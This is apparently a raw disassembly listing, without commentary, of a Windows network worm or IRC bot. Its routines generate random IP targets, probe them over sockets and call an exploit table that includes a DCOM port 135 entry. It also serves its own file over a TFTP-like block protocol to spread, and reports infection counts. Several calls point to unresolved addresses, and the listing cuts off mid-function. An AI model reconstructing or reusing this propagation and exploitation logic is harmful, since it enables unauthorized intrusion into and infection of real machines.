		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406CDC
		push	190h
		nop
		call	near ptr 2620494h
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC38
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CBC
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h


loc_406CBC:				; CODE XREF: sub_406C19+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h


loc_406CDC:				; CODE XREF: sub_406C19+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43AD98
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43ADC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D41
		push	1388h
		call	near ptr 2620494h
		nop
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407104
; ---------------------------------------------------------------------------


loc_406D41:				; CODE XREF: sub_406C19+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DBF
		push	190h
		nop
		call	near ptr 2620494h
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC04
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		add	esp, 28h
		push	ebx
		nop
		call	near ptr 26102D5h


loc_406DBF:				; CODE XREF: sub_406C19+140j
		mov	esi, 200h


loc_406DC4:				; CODE XREF: sub_406C19+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070C4
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43AD80
		test	eax, eax
		jle	loc_4070B8
		mov	al, byte_436EDC
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43AD70
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070A2
		cmp	[ebp+var_D7], 1
		jnz	loc_406FEE
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_418DA0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FA8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_418DA0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FA8
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_418A86
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43ADFC
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42ABBC


loc_406F5C:				; CODE XREF: sub_406C19+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F96
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h


loc_406F96:				; CODE XREF: sub_406C19+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_4070B8
; ---------------------------------------------------------------------------


loc_406FA8:				; CODE XREF: sub_406C19+2B6j
					; sub_406C19+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42ABA8
		push	edi
		call	dword_43ADFC
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_42AB74
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_4070B8
; ---------------------------------------------------------------------------


loc_406FEE:				; CODE XREF: sub_406C19+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070A2
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40702B
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_407039
; ---------------------------------------------------------------------------


loc_40702B:				; CODE XREF: sub_406C19+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_407039:				; CODE XREF: sub_406C19+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_418A86
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax


loc_407079:				; DATA XREF: ___:004282F8o
					; ___:0042830Co ...
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43ADFC
		cmp	edi, ebx
		jnz	short loc_4070B8
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42AB20
		jmp	loc_406F5C
; ---------------------------------------------------------------------------


loc_4070A2:				; CODE XREF: sub_406C19+268j
					; sub_406C19+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42AB14
		push	edi
		call	dword_43ADFC


loc_4070B8:				; CODE XREF: sub_406C19+204j
					; sub_406C19+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DC4


loc_4070C4:				; CODE XREF: sub_406C19+1B4j
		push	edi
		call	dword_43AE30
		push	[ebp+var_8]
		call	sub_417900
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_4070F8
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h


loc_4070F8:				; CODE XREF: sub_406C19+4CAj
		push	3E8h
		call	near ptr 2620494h
		nop
		push	esi


loc_407104:				; CODE XREF: sub_406C19+123j
		call	sub_406C19
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407110	proc near		; CODE XREF: sub_40EE72+5D3Fp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42B134
		push	eax
		xor	ebx, ebx
		call	sub_4172B0
		cmp	dword_42ACB0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40717E
		push	esi
		mov	esi, offset dword_42ACB8


loc_407143:				; CODE XREF: sub_407110+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407143
		pop	esi


loc_40717E:				; CODE XREF: sub_407110+2Bj
		push	dword_4CD5F0
		call	sub_40B721
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_407110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071DB	proc near		; CODE XREF: sub_40EE72+56B3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_407217
		mov	eax, [ebp+arg_C]
		push	dword_436F18[eax*8]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_42B198
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40722A
; ---------------------------------------------------------------------------


loc_407217:				; CODE XREF: sub_4071DB+13j
		lea	eax, [ebp+var_200]
		push	offset unk_42B168
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40722A:				; CODE XREF: sub_4071DB+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		leave
		retn
sub_4071DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407252	proc near		; CODE XREF: sub_40797F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075E2
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_42ACBC[eax], ebx
		jz	loc_4074C3
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	eax, dword_42F5AC
		push	edi
		mov	edi, offset dword_438F34
		push	104h
		push	edi
		push	ebx
		mov	dword_439144, eax
		mov	dword_439140, ebx
		call	near ptr 2680000h
		nop
		push	103h
		mov	esi, offset dword_439038
		push	offset byte_42F674
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_438F30, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4391C8, eax
		jnz	short loc_407305
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_439148
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_4391CC, 1
		jmp	short loc_40731F
; ---------------------------------------------------------------------------


loc_407305:				; CODE XREF: sub_407252+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_439148
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_4391CC, ebx


loc_40731F:				; CODE XREF: sub_407252+B1j
		push	esi
		push	edi
		push	dword_439144
		lea	eax, [ebp+var_204]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43913C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_438F30
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, dword_43913C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_40738E


loc_40737C:				; CODE XREF: sub_407252+13Aj
		cmp	dword_4391D0, ebx
		jnz	short loc_4073A9
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_40737C
; ---------------------------------------------------------------------------


loc_40738E:				; CODE XREF: sub_407252+128j
		call	near ptr 267036Ah
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B2E8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4073A9:				; CODE XREF: sub_407252+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		mov	edi, offset dword_43958C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_439798, ebx
		nop
		call	near ptr 2680000h
		push	103h
		mov	esi, offset dword_439690
		push	offset byte_42F674
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_439588, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_439820, eax
		jnz	short loc_407424
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4397A0
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_439824, 1
		jmp	short loc_40743E
; ---------------------------------------------------------------------------


loc_407424:				; CODE XREF: sub_407252+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4397A0
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_439824, ebx


loc_40743E:				; CODE XREF: sub_407252+1D0j
		push	esi
		push	edi
		push	dword_43979C
		lea	eax, [ebp+var_204]
		push	offset dword_42B298
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_439794, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439588
		push	offset sub_4053D5
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, dword_439794
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4074B2


loc_40749C:				; CODE XREF: sub_407252+25Ej
		cmp	dword_439828, ebx
		jnz	loc_4075D5
		push	32h
		call	near ptr 2620494h
		nop
		jmp	short loc_40749C
; ---------------------------------------------------------------------------


loc_4074B2:				; CODE XREF: sub_407252+248j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_42B258
		jmp	loc_4075C6
; ---------------------------------------------------------------------------


loc_4074C3:				; CODE XREF: sub_407252+25j
		cmp	dword_42ACC0[eax], ebx
		jz	loc_4075E2
		push	3
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	esi, offset dword_439464
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2680000h
		push	5Ch
		push	esi
		call	sub_418F10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407501
		mov	[eax], bl


loc_407501:				; CODE XREF: sub_407252+2ABj
		mov	eax, dword_42F5B0
		mov	dword_43957C, ebx
		mov	dword_439568, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4391DC
		call	sub_4172B0
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4391D8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_439568
		mov	dword_439574, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_439578, ecx
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_439570, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4391D8
		push	offset sub_405AF2
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, dword_439570
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4075BA


loc_4075A8:				; CODE XREF: sub_407252+366j
		cmp	dword_439584, ebx
		jnz	short loc_4075D5
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_4075A8
; ---------------------------------------------------------------------------


loc_4075BA:				; CODE XREF: sub_407252+354j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_42B1C8


loc_4075C6:				; CODE XREF: sub_407252+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4075D5:				; CODE XREF: sub_407252+250j
					; sub_407252+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_4075E2:				; CODE XREF: sub_407252+14j
					; sub_407252+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075E6	proc near		; CODE XREF: sub_407767:loc_4077D8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:436F18h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43ACCC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43AD94
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40762E	proc near		; CODE XREF: sub_407767+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_417AB0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_407656
		xor	eax, eax
		jmp	short loc_4076C7
; ---------------------------------------------------------------------------


loc_407656:				; CODE XREF: sub_40762E+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418A52
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_407683
		call	sub_41730C
		mov	[ebp+var_C], eax


loc_407683:				; CODE XREF: sub_40762E+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407690
		call	sub_41730C
		mov	[ebp+var_8], eax


loc_407690:				; CODE XREF: sub_40762E+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40769D
		call	sub_41730C
		mov	[ebp+var_4], eax


loc_40769D:				; CODE XREF: sub_40762E+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076A9
		call	sub_41730C


loc_4076A9:				; CODE XREF: sub_40762E+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_436F18[ecx*8], eax


loc_4076C7:				; CODE XREF: sub_40762E+26j
		pop	esi
		leave
		retn
sub_40762E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076CA	proc near		; CODE XREF: sub_407767+BBp
					; sub_40D4C5+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43AE18
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076F3
		xor	eax, eax
		jmp	short loc_407762
; ---------------------------------------------------------------------------


loc_4076F3:				; CODE XREF: sub_4076CA+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43AD98
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43AE34
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43AD80
		push	esi
		mov	edi, eax
		call	dword_43AE30
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_407762:				; CODE XREF: sub_4076CA+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407767	proc near		; DATA XREF: sub_40797F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	near ptr 2610763h
		nop
		push	eax
		call	sub_417302
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_4077AE:				; CODE XREF: sub_407767+204j
		mov	eax, dword_4407F4[ebx]
		cmp	dword_436F1C[eax*8], 0
		jz	loc_407970
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077D8
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40762E
		pop	ecx
		jmp	short loc_4077DD
; ---------------------------------------------------------------------------


loc_4077D8:				; CODE XREF: sub_407767+60j
		call	sub_4075E6


loc_4077DD:				; CODE XREF: sub_407767+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_4407F4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B3BC
		push	eax
		call	sub_4172B0
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_4405F0[ebx]
		push	eax
		call	sub_4172B0
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076CA
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_407960
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078B4
		push	offset dword_438F18
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B384
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_407896
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40788A
		lea	eax, [ebp+var_140]


loc_40788A:				; CODE XREF: sub_407767+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_40D679
		add	esp, 14h


loc_407896:				; CODE XREF: sub_407767+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40BF6D
		mov	[esp+2A8h+var_2A8], offset dword_438F18
		call	near ptr 77F7E300h
		nop
		jmp	loc_407960
; ---------------------------------------------------------------------------


loc_4078B4:				; CODE XREF: sub_407767+D0j
		push	edi
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_20]
		pop	ecx
		imul	eax, 3Ch
		pop	ecx
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078F9
		lea	eax, [ebp+var_140]


loc_4078F9:				; CODE XREF: sub_407767+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42ACB4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_407960:				; CODE XREF: sub_407767+C6j
					; sub_407767+148j
		push	7D0h
		nop
		call	near ptr 2620494h
		jmp	loc_4077AE
; ---------------------------------------------------------------------------


loc_407970:				; CODE XREF: sub_407767+55j
		push	esi
		call	sub_417078
		pop	ecx
		push	0
		call	near ptr 26102D5h
		nop
sub_407767	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40797F	proc near		; DATA XREF: sub_40EE72+3300o
					; sub_40EE72+5137o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
